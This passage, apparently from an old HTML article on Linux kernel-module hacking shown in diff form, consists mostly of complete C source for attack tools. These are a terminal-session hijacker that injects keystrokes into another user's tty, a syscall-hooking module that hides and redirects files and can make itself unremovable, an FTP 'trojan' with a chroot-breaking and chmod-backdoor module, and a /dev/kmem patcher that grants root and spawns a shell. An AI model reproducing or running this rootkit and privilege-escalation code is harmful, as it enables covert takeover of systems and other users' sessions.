+#include <sys/stat.h>
|
|
|
+#include <sys/sysmacros.h>
|
|
|
+
|
|
|
+struct termios save_termios;
|
|
|
+int ttysavefd = -1;
|
|
|
+int fd;
|
|
|
+
|
|
|
+#ifndef DEVICE_NAME
|
|
|
+#define DEVICE_NAME "/dev/ltap"
|
|
|
+#endif
|
|
|
+
|
|
|
+#define LS_SETMAJOR 0
|
|
|
+#define LS_SETMINOR 1
|
|
|
+
|
|
|
+#define LS_FLUSHBUF 2
|
|
|
+#define LS_TOGGLE 3
|
|
|
+
|
|
|
+void stuff_keystroke(int fd, char key)
|
|
|
+{
|
|
|
+ ioctl(fd, TIOCSTI, &key);
|
|
|
+}
|
|
|
+
|
|
|
+int tty_cbreak(int fd)
|
|
|
+{
|
|
|
+ struct termios buff;
|
|
|
+ if(tcgetattr(fd, &save_termios) < 0)
|
|
|
+ return -1;
|
|
|
+ buff = save_termios;
|
|
|
+ buff.c_lflag &= ~(ECHO | ICANON);
|
|
|
+ buff.c_cc[VMIN] = 0;
|
|
|
+ buff.c_cc[VTIME] = 0;
|
|
|
+ if(tcsetattr(fd, TCSAFLUSH, &buff) < 0)
|
|
|
+ return -1;
|
|
|
+ ttysavefd = fd;
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+ char *get_device(char *basedevice)
|
|
|
+{
|
|
|
+ static char devname[1024];
|
|
|
+ int fd;
|
|
|
+
|
|
|
+ if(strlen(basedevice) > 128) return NULL;
|
|
|
+ if(basedevice[0] == '/')
|
|
|
+ strcpy(devname, basedevice);
|
|
|
+ else
|
|
|
+ sprintf(devname, "/dev/%s", basedevice);
|
|
|
+ fd = open(devname, O_RDONLY);
|
|
|
+ if(fd < 0) return NULL;
|
|
|
+ if(!isatty(fd)) return NULL;
|
|
|
+ close(fd);
|
|
|
+ return devname;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+int do_ioctl(char *device)
|
|
|
+{
|
|
|
+ struct stat mystat;
|
|
|
+
|
|
|
+ if(stat(device, &mystat) < 0) return -1;
|
|
|
+ fd = open(DEVICE_NAME, O_RDONLY);
|
|
|
+ if(fd < 0) return -1;
|
|
|
+ if(ioctl(fd, LS_SETMAJOR, major(mystat.st_rdev)) < 0) return -1;
|
|
|
+ if(ioctl(fd, LS_SETMINOR, minor(mystat.st_rdev)) < 0) return -1;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+void sigint_handler(int s)
|
|
|
+{
|
|
|
+ exit(s);
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_atexit(void)
|
|
|
+{
|
|
|
+ puts(" ");
|
|
|
+ if(ttysavefd >= 0)
|
|
|
+ tcsetattr(ttysavefd, TCSAFLUSH, &save_termios);
|
|
|
+}
|
|
|
+
|
|
|
+main(int argc, char **argv)
|
|
|
+{
|
|
|
+ int my_tty;
|
|
|
+ char *devname;
|
|
|
+ unsigned char ch;
|
|
|
+ int i;
|
|
|
+
|
|
|
+ if(argc != 2)
|
|
|
+ {
|
|
|
+ fprintf(stderr, "%s ttyname\n", argv[0]);
|
|
|
+ fprintf(stderr, "ttyname should NOT be your current tty!\n");
|
|
|
+ exit(0);
|
|
|
+ }
|
|
|
+ devname = get_device(argv[1]);
|
|
|
+ if(devname == NULL)
|
|
|
+ {
|
|
|
+ perror("get_device");
|
|
|
+ exit(0);
|
|
|
+ }
|
|
|
+ if(tty_cbreak(0) < 0)
|
|
|
+ {
|
|
|
+ perror("tty_cbreak");
|
|
|
+ exit(0);
|
|
|
+ }
|
|
|
+ atexit(cleanup_atexit);
|
|
|
+ signal(SIGINT, sigint_handler);
|
|
|
+ if(do_ioctl(devname) < 0)
|
|
|
+ {
|
|
|
+ perror("do_ioctl");
|
|
|
+ exit(0);
|
|
|
+ }
|
|
|
+ my_tty = open(devname, O_RDWR);
|
|
|
+ if(my_tty == -1) exit(0);
|
|
|
+ setvbuf(stdout, NULL, _IONBF, 0);
|
|
|
+ printf("[now monitoring session]\n");
|
|
|
+ while(1)
|
|
|
+ {
|
|
|
+ i = read(0, &ch, 1);
|
|
|
+ if(i > 0)
|
|
|
+ {
|
|
|
+ if(ch == 24)
|
|
|
+ {
|
|
|
+ ioctl(fd, LS_TOGGLE, 0);
|
|
|
+ printf("[Takeover mode toggled]\n");
|
|
|
+ }
|
|
|
+ else stuff_keystroke(my_tty, ch);
|
|
|
+ }
|
|
|
+ i = read(fd, &ch, 1);
|
|
|
+ if(i > 0)
|
|
|
+ putchar(ch);
|
|
|
+ }
|
|
|
+}
|
|
|
+<--> end ltread.c
|
|
|
+
|
|
|
+
|
|
|
+EOF
|
|
|
+</xmp>
|
|
|
+
|
|
|
+<H3><A NAME="A-e"></a>AFHRM - the monitor tool</h3>
|
|
|
+
|
|
|
+<b>NAME</b> : AFHRM ( Advanced file hide & redirect module)<br>
|
|
|
+<b>AUTHOR</b> : <A HREF="mailto:lcamtuf@boss.staszic.waw.pl">Michal Zalewski</a><br>
|
|
|
+<b>DESCRIPTION</b> : This LKM was made especially for admins who want to
|
|
|
+ control some files (passwd, for example) concerning
|
|
|
+ file access. This module can monitor any fileaccess and
|
|
|
+ redirect write attempts. It is also possible to do file
|
|
|
+ hiding.<br>
|
|
|
+<b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*
|
|
|
+ Advanced file hide & redirect module for Linux 2.0.xx / i386
|
|
|
+ ------------------------------------------------------------
|
|
|
+ (C) 1998 Michal Zalewski <lcamtuf@boss.staszic.waw.pl>
|
|
|
+*/
|
|
|
+
|
|
|
+#define MODULE
|
|
|
+#define __KERNEL__
|
|
|
+
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/kernel.h>
|
|
|
+#include <asm/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <asm/fcntl.h>
|
|
|
+#include <asm/errno.h>
|
|
|
+#include <linux/types.h>
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <sys/mman.h>
|
|
|
+
|
|
|
+#if (!defined(__GLIBC__) || __GLIBC__ < 2)
|
|
|
+#include <sys/stat.h>
|
|
|
+#else
|
|
|
+#include <statbuf.h> // What can I do?
|
|
|
+#endif
|
|
|
+
|
|
|
+#include <linux/string.h>
|
|
|
+#include "broken-glibc.h"
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+
|
|
|
+/* Hope that's free? */
|
|
|
+#define O_NOCHG 0x1000000
|
|
|
+#define O_ACCNOCHG 0x2000000
|
|
|
+#define O_STRICT 0x4000000
|
|
|
+#define O_STILL 0x8000000
|
|
|
+
|
|
|
+#define M_MAIN 0x0ffffff
|
|
|
+#define M_MINOR (M_MAIN ^ O_ACCMODE)
|
|
|
+
|
|
|
+struct red { // Redirections database entry.
|
|
|
+ const char *src,*dst;
|
|
|
+ const int flags,new_flags;
|
|
|
+};
|
|
|
+
|
|
|
+struct red redir_table[]={
|
|
|
+
|
|
|
+// Include user-specific choices :-)
|
|
|
+#include "config.h"
|
|
|
+
|
|
|
+};
|
|
|
+
|
|
|
+#define REDIRS sizeof(redir_table)/sizeof(struct red)
|
|
|
+
|
|
|
+struct dat { // Inode database entry.
|
|
|
+ long ino,dev;
|
|
|
+ int valid;
|
|
|
+};
|
|
|
+
|
|
|
+int as_today,ohits,ghits, // internal counters.
|
|
|
+ uhits,lhits,rhits;
|
|
|
+
|
|
|
+struct dat polozenie[REDIRS]; // Inodes database.
|
|
|
+
|
|
|
+// Protos...
|
|
|
+int collect(void);
|
|
|
+
|
|
|
+extern void* sys_call_table[];
|
|
|
+
|
|
|
+// Old system calls handlers (for module removal).
|
|
|
+int (*stary_open)(const char *pathname, int flags, mode_t mode);
|
|
|
+int (*stary_getdents)(unsigned int fd, struct dirent* dirp, unsigned int count);
|
|
|
+int (*stary_link)(const char* oldname,const char* newname);
|
|
|
+int (*stary_unlink)(const char* name);
|
|
|
+int (*stary_rename)(const char* oldname,const char* newname);
|
|
|
+
|
|
|
+int (*sys_stat)(void*,void*);
|
|
|
+int (*mybrk)(void*);
|
|
|
+
|
|
|
+
|
|
|
+// Ugly low-level hack - OH, HOW WE NEED IT :)))
|
|
|
+int mystat(const char* arg1,struct stat* arg2,char space) {
|
|
|
+ unsigned long m1=0,m2;
|
|
|
+ long __res;
|
|
|
+ char* a1;
|
|
|
+ struct stat* a2;
|
|
|
+ if (!space) {
|
|
|
+ // If needed, duplicate 1st argument to user space...
|
|
|
+ m1=current->mm->brk;
|
|
|
+ mybrk((void*)(m1+strlen(arg1)+1));
|
|
|
+ a1=(char*)(m1+2);
|
|
|
+ memcpy_tofs(a1,arg1,strlen(arg1)+1);
|
|
|
+ } else a1=(char*)arg1;
|
|
|
+ // Allocate space for 2nd argument...
|
|
|
+ m2=current->mm->brk;
|
|
|
+ mybrk((void*)(m2+sizeof(struct stat)));
|
|
|
+ a2=(struct stat*)(m2+2);
|
|
|
+ // Call stat(...)
|
|
|
+ __res=sys_stat(a1,a2);
|
|
|
+ // Copy 2nd argument back...
|
|
|
+ memcpy_fromfs(arg2,a2,sizeof(struct stat));
|
|
|
+ // Free memory.
|
|
|
+ if (!space) mybrk((void*)m1); else mybrk((void*)m2);
|
|
|
+ return __res;
|
|
|
+}
|
|
|
+
|
|
|
+// New open(...) handler.
|
|
|
+extern int nowy_open(const char *pathname, int flags, mode_t mode) {
|
|
|
+ int i=0,n;
|
|
|
+ char zmieniony=0,*a1;
|
|
|
+ struct stat buf;
|
|
|
+ unsigned long m1=0;
|
|
|
+ if (++as_today>INTERV) {
|
|
|
+ as_today=0;
|
|
|
+ collect();
|
|
|
+ }
|
|
|
+ if (!mystat(pathname,&buf,1)) for (i=0;i<REDIRS && !zmieniony;i++) if (polozenie[i].valid
|
|
|
+ && (long)buf.st_dev==polozenie[i].dev && (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
|
|
|
+ if (redir_table[i].flags & O_STRICT) n=redir_table[i].flags & O_ACCMODE; else n=0;
|
|
|
+ switch(flags) {
|
|
|
+ case O_RDONLY:
|
|
|
+ if ((redir_table[i].flags & O_WRONLY) || (n & O_RDWR)) n=1;
|
|
|
+ break;
|
|
|
+ case O_WRONLY:
|
|
|
+ if ((redir_table[i].flags & O_RDONLY) || (n & O_RDWR)) n=1;
|
|
|
+ break;
|
|
|
+ default:
|
|
|
+ if (n && (n & (O_RDONLY|O_WRONLY))) n=1;
|
|
|
+ n=0;
|
|
|
+ }
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: open %s (D:0x%x I:0x%x) ",redir_table[i].src, buf.st_dev, buf.st_ino);
|
|
|
+ printk("[%s] of: 0x%x cf: 0x%x nf: ",redir_table[i].dst, mode,redir_table[i].flags);
|
|
|
+ printk("0x%x rd: %d.\n", redir_table[i].new_flags, n==0);
|
|
|
+#endif
|
|
|
+ ohits++;
|
|
|
+ if (!n && (((redir_table[i].flags & M_MINOR) & flags) == (redir_table[i].flags & M_MINOR)))
|
|
|
+ if (redir_table[i].dst) {
|
|
|
+ flags=(((redir_table[i].new_flags & O_NOCHG) > 0)*flags) |
|
|
|
+ (((redir_table[i].new_flags & O_ACCNOCHG) > 0)*(flags & O_ACCMODE)) |
|
|
|
+ (redir_table[i].new_flags & M_MAIN);
|
|
|
+ /* User space trick */
|
|
|
+ m1=current->mm->brk;
|
|
|
+ mybrk((void*)(m1+strlen(redir_table[i].dst)+1));
|
|
|
+ a1=(char*)(m1+2);
|
|
|
+ memcpy_tofs(a1,redir_table[i].dst,strlen(redir_table[i].dst)+1);
|
|
|
+ pathname=a1;
|
|
|
+ zmieniony=1;
|
|
|
+ } else return -ERR;
|
|
|
+ }
|
|
|
+ i=stary_open(pathname,flags,mode);
|
|
|
+ if (zmieniony) mybrk((void*)m1);
|
|
|
+ return i;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+// New getdents(...) handler.
|
|
|
+int nowy_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) {
|
|
|
+ int ret,n,t,i,dev;
|
|
|
+ struct dirent *d2,*d3;
|
|
|
+ ret=stary_getdents(fd,dirp,count);
|
|
|
+ dev = (long)current->files->fd[fd]->f_inode->i_dev;
|
|
|
+ if (ret>0) {
|
|
|
+ d2=(struct dirent*)kmalloc(ret,GFP_KERNEL);
|
|
|
+ memcpy_fromfs(d2,dirp,ret);
|
|
|
+ d3=d2;
|
|
|
+ t=ret;
|
|
|
+ while (t>0) {
|
|
|
+ n=d3->d_reclen;
|
|
|
+ t-=n;
|
|
|
+ for (i=0;i<REDIRS;i++)
|
|
|
+ if (polozenie[i].valid && /* dev == polozenie[i].dev && */ /* BROKEN! */
|
|
|
+ d3->d_ino==polozenie[i].ino && redir_table[i].dst == NULL) {
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: getdents %s [D: 0x%x I: 0x%x] r: 0x%x t: 0x%x\n",
|
|
|
+ redir_table[i].src,dev,d3->d_ino,ret,t);
|
|
|
+#endif
|
|
|
+ ghits++;
|
|
|
+ if (t!=0) memmove(d3,(char*)d3+d3->d_reclen,t); else d3->d_off=1024;
|
|
|
+ ret-=n;
|
|
|
+ }
|
|
|
+ if (!d3->d_reclen) { ret-=t;t=0; }
|
|
|
+ if (t) d3=(struct dirent*)((char*)d3+d3->d_reclen);
|
|
|
+ }
|
|
|
+ memcpy_tofs(dirp,d2,ret);
|
|
|
+ kfree(d2);
|
|
|
+ }
|
|
|
+ return ret;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+// New link(...) handler.
|
|
|
+extern int nowy_link(const char *oldname,const char *newname) {
|
|
|
+ int i;
|
|
|
+ struct stat buf;
|
|
|
+ if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
|
|
|
+ (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
|
|
|
+ redir_table[i].flags | O_STILL ) &&
|
|
|
+ (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: link %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
|
|
|
+ (long)*((char*)&buf.st_dev+4));
|
|
|
+#endif
|
|
|
+ lhits++;
|
|
|
+ if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
|
|
|
+ }
|
|
|
+ return stary_link(oldname,newname);
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+// New unlink(...) handler.
|
|
|
+extern int nowy_unlink(const char *name) {
|
|
|
+ int i;
|
|
|
+ struct stat buf;
|
|
|
+ if (!mystat(name,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
|
|
|
+ (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
|
|
|
+ redir_table[i].flags | O_STILL ) &&
|
|
|
+ (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: unlink %s (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
|
|
|
+ (long)*((char*)&buf.st_dev+4));
|
|
|
+#endif
|
|
|
+ uhits++;
|
|
|
+ if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
|
|
|
+ }
|
|
|
+ return stary_unlink(name);
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+// New rename(...) handler.
|
|
|
+extern int nowy_rename(const char *oldname, const char* newname) {
|
|
|
+ int i;
|
|
|
+ struct stat buf;
|
|
|
+ if (!mystat(oldname,&buf,1)) for (i=0;i<REDIRS;i++) if (polozenie[i].valid &&
|
|
|
+ (long)buf.st_dev==polozenie[i].dev && ( redir_table[i].dst == NULL ||
|
|
|
+ redir_table[i].flags | O_STILL ) &&
|
|
|
+ (long)*((char*)&buf.st_dev+4)==polozenie[i].ino) {
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: rename %s... (D:0x%x I:0x%x).",redir_table[i].src,buf.st_dev,
|
|
|
+ (long)*((char*)&buf.st_dev+4));
|
|
|
+#endif
|
|
|
+ rhits++;
|
|
|
+ if (redir_table[i].dst) return -STILL_ERR; else return -ERR;
|
|
|
+ }
|
|
|
+ return stary_rename(oldname,newname);
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+// Inode database rebuild procedure.
|
|
|
+int collect() {
|
|
|
+ int x=0,i=0,err;
|
|
|
+ struct stat buf;
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: Automatic inode database rebuild started.\n");
|
|
|
+#endif
|
|
|
+ for (;i<REDIRS;i++)
|
|
|
+ if (!(err=mystat(redir_table[i].src,&buf,0))) {
|
|
|
+ polozenie[i].valid=1;
|
|
|
+ polozenie[i].dev=buf.st_dev;
|
|
|
+ polozenie[i].ino=(long)*((char*)&buf.st_dev+4);
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: #%d file %s [D: 0x%x I: 0x%x].\n",x,redir_table[i].src,
|
|
|
+ buf.st_dev,buf.st_ino);
|
|
|
+#endif
|
|
|
+ x++;
|
|
|
+ } else {
|
|
|
+ polozenie[i].valid=0;
|
|
|
+#ifdef DEBUG
|
|
|
+ printk("AFHRM_DEBUG: file: %s missed [err %d].\n",redir_table[i].src,-err);
|
|
|
+ }
|
|
|
+ if (x!=REDIRS) {
|
|
|
+ printk("AFHRM_DEBUG: %d inode(s) not found, skipped.\n",REDIRS-x);
|
|
|
+#endif
|
|
|
+ }
|
|
|
+ return x;
|
|
|
+}
|
|
|
+
|
|
|
+// ********
|
|
|
+// MAINS :)
|
|
|
+// ********
|
|
|
+
|
|
|
+
|
|
|
+// Module startup.
|
|
|
+int init_module(void) {
|
|
|
+#ifdef HIDDEN
|
|
|
+ register struct module *mp asm("%ebp");
|
|
|
+#endif
|
|
|
+ int x;
|
|
|
+ unsigned long flags;
|
|
|
+ save_flags(flags);
|
|
|
+ cli(); // To satisfy kgb ;-)
|
|
|
+#ifdef HIDDEN
|
|
|
+ *(char*)(mp->name)=0;
|
|
|
+ mp->size=0;
|
|
|
+ mp->ref=0;
|
|
|
+#endif
|
|
|
+#ifdef VERBOSE
|
|
|
+ printk("AFHRM_INIT: Version " VERSION " starting.\n");
|
|
|
+#ifdef HIDDEN
|
|
|
+ register_symtab(0);
|
|
|
+ printk("AFHRM_INIT: Running in invisible mode - can't be removed.\n");
|
|
|
+#endif
|
|
|
+ printk("AFHRM_INIT: inode database rebuild interval: %d calls.\n",INTERV);
|
|
|
+#endif
|
|
|
+ sys_stat=sys_call_table[__NR_stat];
|
|
|
+ mybrk=sys_call_table[__NR_brk];
|
|
|
+ x=collect();
|
|
|
+ stary_open=sys_call_table[__NR_open];
|
|
|
+ stary_getdents=sys_call_table[__NR_getdents];
|
|
|
+ stary_link=sys_call_table[__NR_link];
|
|
|
+ stary_unlink=sys_call_table[__NR_unlink];
|
|
|
+ stary_rename=sys_call_table[__NR_rename];
|
|
|
+#ifdef VERBOSE
|
|
|
+ printk("AFHRM_INIT: Old __NR_open=0x%x, new __NR_open=0x%x.\n",(int)stary_open,(int)nowy_open);
|
|
|
+ printk("AFHRM_INIT: Old __NR_getdents=0x%x, new __NR_getdents=0x%x.\n",(int)stary_getdents,
|
|
|
+ (int)nowy_getdents);
|
|
|
+ printk("AFHRM_INIT: Old __NR_link=0x%x, new __NR_link=0x%x.\n",(int)stary_link,(int)nowy_link);
|
|
|
+ printk("AFHRM_INIT: Old __NR_unlink=0x%x, new __NR_unlink=0x%x.\n",(int)stary_unlink,
|
|
|
+ (int)nowy_unlink);
|
|
|
+ printk("AFHRM_INIT: Old __NR_rename=0x%x, new __NR_rename=0x%x.\n",(int)stary_rename,
|
|
|
+ (int)nowy_rename);
|
|
|
+#endif
|
|
|
+ sys_call_table[__NR_open]=nowy_open;
|
|
|
+ sys_call_table[__NR_getdents]=nowy_getdents;
|
|
|
+ sys_call_table[__NR_link]=nowy_link;
|
|
|
+ sys_call_table[__NR_unlink]=nowy_unlink;
|
|
|
+ sys_call_table[__NR_rename]=nowy_rename;
|
|
|
+#ifdef VERBOSE
|
|
|
+ printk("AFHRM_INIT: %d of %d redirections loaded. Init OK.\n",x,REDIRS);
|
|
|
+#endif
|
|
|
+ restore_flags(flags);
|
|
|
+ return 0;
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+// Module shutdown...
|
|
|
+void cleanup_module(void) {
|
|
|
+ unsigned long flags;
|
|
|
+ save_flags(flags);
|
|
|
+ cli(); // To satisfy kgb ;-)
|
|
|
+#ifdef VERBOSE
|
|
|
+ printk("AFHRM_INIT: Version " VERSION " shutting down.\n");
|
|
|
+#endif
|
|
|
+ sys_call_table[__NR_open]=stary_open;
|
|
|
+ sys_call_table[__NR_getdents]=stary_getdents;
|
|
|
+ sys_call_table[__NR_link]=stary_link;
|
|
|
+ sys_call_table[__NR_unlink]=stary_unlink;
|
|
|
+ sys_call_table[__NR_rename]=stary_rename;
|
|
|
+#ifdef VERBOSE
|
|
|
+ printk("AFHRM_INIT: Hits: open %d, getdents %d, link %d, unlink %d, rename %d. Shutdown OK.\n",
|
|
|
+ ohits,ghits,lhits,uhits,rhits);
|
|
|
+#endif
|
|
|
+ restore_flags(flags);
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+<H3><A NAME="A-f"></a>CHROOT module trick</h3>
|
|
|
+
|
|
|
+<b>NAME</b> : chr.c<br>
|
|
|
+<b>AUTHOR</b> : FLoW/HISPAHACK<br>
|
|
|
+<b>DESCRIPTION</b> : The first source represents the ls 'trojan'. The second one
|
|
|
+ represents the actual module which is doing the chroot trick.<br>
|
|
|
+<b>LINK</b> : <A HREF="http://hispahack.ccc.de">http://hispahack.ccc.de</a><br>
|
|
|
+
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*LS 'TROJAN'*/
|
|
|
+/* Sustituto para el "ls" de un ftp restringido.
|
|
|
+ * Carga el modulo del kernel chr.o
|
|
|
+ * FLoW - !H'98
|
|
|
+ */
|
|
|
+
|
|
|
+#include <stdio.h>
|
|
|
+#include <sys/wait.h>
|
|
|
+
|
|
|
+main()
|
|
|
+{
|
|
|
+int estado;
|
|
|
+
|
|
|
+printf("UID: %i EUID: %i\n",getuid(),geteuid());
|
|
|
+printf("Cambiando EUID...\n");
|
|
|
+
|
|
|
+setuid(0); /* Ya que wu-ftpd usa seteuid(), podemos recuperar uid=0 */
|
|
|
+
|
|
|
+printf("UID: %i EUID: %i\n",getuid(),geteuid());
|
|
|
+
|
|
|
+switch(fork())
|
|
|
+{
|
|
|
+case -1: printf("Error creando hijo.\n");
|
|
|
+case 0: execlp("/bin/insmod","insmod","/bin/chr.o",0);
|
|
|
+ printf("Error ejecutando insmod.\n");
|
|
|
+ exit(1);
|
|
|
+default: printf("Cargando modulo chroot...\n");
|
|
|
+ wait(&estado);
|
|
|
+ if(WIFEXITED(estado)!=0 && WEXITSTATUS(estado)==0)
|
|
|
+ printf("Modulo cargado!\n");
|
|
|
+ else
|
|
|
+ printf("Error cargando modulo.\n");
|
|
|
+ break;
|
|
|
+}
|
|
|
+}
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+/* Modulo del kernel para anular un chroot() y "retocar" chmod()
|
|
|
+ * FLoW - !H'98
|
|
|
+ * Basado en heroin.c de Runar Jensen <zarq@opaque.org>
|
|
|
+ */
|
|
|
+
|
|
|
+#include <linux/fs.h>
|
|
|
+#include <linux/module.h>
|
|
|
+#include <linux/malloc.h>
|
|
|
+#include <linux/unistd.h>
|
|
|
+#include <sys/syscall.h>
|
|
|
+
|
|
|
+#include <linux/dirent.h>
|
|
|
+#include <linux/proc_fs.h>
|
|
|
+#include <stdlib.h>
|
|
|
+
|
|
|
+
|
|
|
+static inline _syscall2(int, chmod, const char*, path, mode_t, mode);
|
|
|
+static inline _syscall1(int, setuid, uid_t, uid);
|
|
|
+
|
|
|
+extern void *sys_call_table[];
|
|
|
+
|
|
|
+int (*original_chroot)(const char *, const char*);
|
|
|
+int (*original_chmod)(const char *, mode_t);
|
|
|
+int (*original_setuid)(uid_t);
|
|
|
+
|
|
|
+int hacked_chmod(const char *path, mode_t mode)
|
|
|
+{
|
|
|
+int err;
|
|
|
+
|
|
|
+if(mode==83) { /* chmod 123 XXX */
|
|
|
+ (*original_setuid)(0);
|
|
|
+ err=(*original_chmod)(path, 511); /* chmod 777 XXX */
|
|
|
+ }
|
|
|
+
|
|
|
+else {
|
|
|
+ err=(*original_chmod)(path, mode);
|
|
|
+ }
|
|
|
+
|
|
|
+return(err);
|
|
|
+}
|
|
|
+
|
|
|
+int hacked_chroot(const char *path, const char *cmd)
|
|
|
+{
|
|
|
+ return(0);
|
|
|
+}
|
|
|
+
|
|
|
+int init_module(void)
|
|
|
+{
|
|
|
+ original_setuid = sys_call_table[SYS_setuid];
|
|
|
+ original_chroot = sys_call_table[SYS_chroot];
|
|
|
+ sys_call_table[SYS_chroot] = hacked_chroot;
|
|
|
+ original_chmod = sys_call_table[SYS_chmod];
|
|
|
+ sys_call_table[SYS_chmod] = hacked_chmod;
|
|
|
+ return(0);
|
|
|
+}
|
|
|
+
|
|
|
+void cleanup_module(void)
|
|
|
+{
|
|
|
+ sys_call_table[SYS_chroot] = original_chroot;
|
|
|
+ sys_call_table[SYS_chmod] = original_chmod;
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+
|
|
|
+<H3><A NAME="A-g"></a>Kernel Memory Patching</h3>
|
|
|
+
|
|
|
+<b>NAME</b> : kmemthief.c<br>
|
|
|
+<b>AUTHOR</b> : unknown (I really tried to find out, but I found no comments)
|
|
|
+ I found a similar source by daemon9 who took it from 'Unix
|
|
|
+ Security: A practical tutorial'<br>
|
|
|
+<b>DESCRIPTION</b> : This is a 'standard' kmem patcher, which gives you root (your
|
|
|
+ user process). The system you try to exploit must permit write
|
|
|
+ and read access to /dev/kmem. There are some systems that make
|
|
|
+ that fault but don't rely on that.<br>
|
|
|
+<b>LINK</b> : <A HREF="http://www.rootshell.com">http://www.rootshell.com</a><br>
|
|
|
+
|
|
|
+
|
|
|
+
|
|
|
+<xmp>
|
|
|
+/*
|
|
|
+ kmem_thief
|
|
|
+ compile as follows:
|
|
|
+ cc -O kmem_thief.c -ld -o kmem_thief
|
|
|
+*/
|
|
|
+#include <stdio.h>
|
|
|
+#include <fcntl.h>
|
|
|
+#include <sys/signal.h>
|
|
|
+#include <sys/param.h>
|
|
|
+#include <sys/types.h>
|
|
|
+#include <sys/dir.h>
|
|
|
+#include <sys/user.h>
|
|
|
+
|
|
|
+struct user userpage;
|
|
|
+long address(), userlocation;
|
|
|
+
|
|
|
+int main(argc, argv, envp)
|
|
|
+ int argc;
|
|
|
+ char *argv[], *envp[];
|
|
|
+{
|
|
|
+ int count, fd;
|
|
|
+ long where, lseek();
|
|
|
+ fd = open( "/dev/kmem",O_RDWR);
|
|
|
+ if(fd < 0)
|
|
|
+ {
|
|
|
+ printf("Could not open /dev/kmem.\n");
|
|
|
+ perror(argv);
|
|
|
+ exit(10);
|
|
|
+ }
|
|
|
+ userlocation = address();
|
|
|
+ where = lseek(fd, userlocation, 0);
|
|
|
+ if(where != userlocation)
|
|
|
+ {
|
|
|
+ printf("Could not seek to user page.\n");
|
|
|
+ perror(argv);
|
|
|
+ exit(20);
|
|
|
+ }
|
|
|
+ count = read(fd, &userpage, sizeof(struct user));
|
|
|
+ if(count != sizeof(struct user))
|
|
|
+ {
|
|
|
+ printf("Could not read user page.\n");
|
|
|
+ perror(argv);
|
|
|
+ exit(30);
|
|
|
+ }
|
|
|
+ printf(" Current uid is %d\n", userpage.u_ruid);
|
|
|
+ printf(" Current gid is %d\n", userpage.u_rgid);
|
|
|
+ printf(" Current euid is %d\n", userpage.u_uid);
|
|
|
+ printf(" Current egid is %d\n", userpage.u_gid);
|
|
|
+ userpage.u_ruid = 0;
|
|
|
+ userpage.u_rgid = 0;
|
|
|
+ userpage.u_uid = 0;
|
|
|
+ userpage.u_gid = 0;
|
|
|
+ where = lseek(fd, userlocation, 0);
|
|
|
+ if(where != userlocation)
|
|
|
+ {
|
|
|
+ printf("Could not seek to user page.\n");
|
|
|
+ perror(argv);
|
|
|
+ exit(40);
|
|
|
+ }
|
|
|
+ write(fd, &userpage, ((char *)&(userpage.u_procp)) - ((char *)&userpage));
|
|
|
+ execle("/bin/csh", "/bin/csh", "-i", (char *)0, envp);
|
|
|
+}
|
|
|
+
|
|
|
+# include <filehdr.h>
|
|
|
+# include <syms.h>
|
|
|
+# include <ldfcn.h>
|
|
|
+
|
|
|
+# define LNULL ( (LDFILE *)0 )
|
|
|
+
|
|
|
+long address ()
|
|
|
+{
|
|
|
+ LDFILE *object;
|
|
|
+ SYMENT symbol;
|
|
|
+ long idx;
|
|
|
+ object = ldopen( "/unix", LNULL );
|
|
|
+ if( object == LNULL ) {
|
|
|
+ fprintf( stderr, "Could not open /unix.\n" );
|
|
|
+ exit( 50 );
|
|
|
+ }
|
|
|
+ for ( idx=0; ldtbread( object, idx, &symbol) == SUCCESS; idx++ ) {
|
|
|
+ if( ! strcmp( "_u", ldgetname( object, &symbol ) ) ) {
|
|
|
+ fprintf( stdout, "user page is at: 0x%8.8x\n", symbol.n_value );
|
|
|
+ ldclose( object );
|
|
|
+ return( symbol.n_value );
|
|
|
+ }
|
|
|
+ }
|
|
|
+ fprintf( stderr, "Could not read symbols in /unix.\n");
|
|
|
+ exit( 60 );
|
|
|
+}
|
|
|
+</xmp>
|
|
|
+
|
|
|
+
|
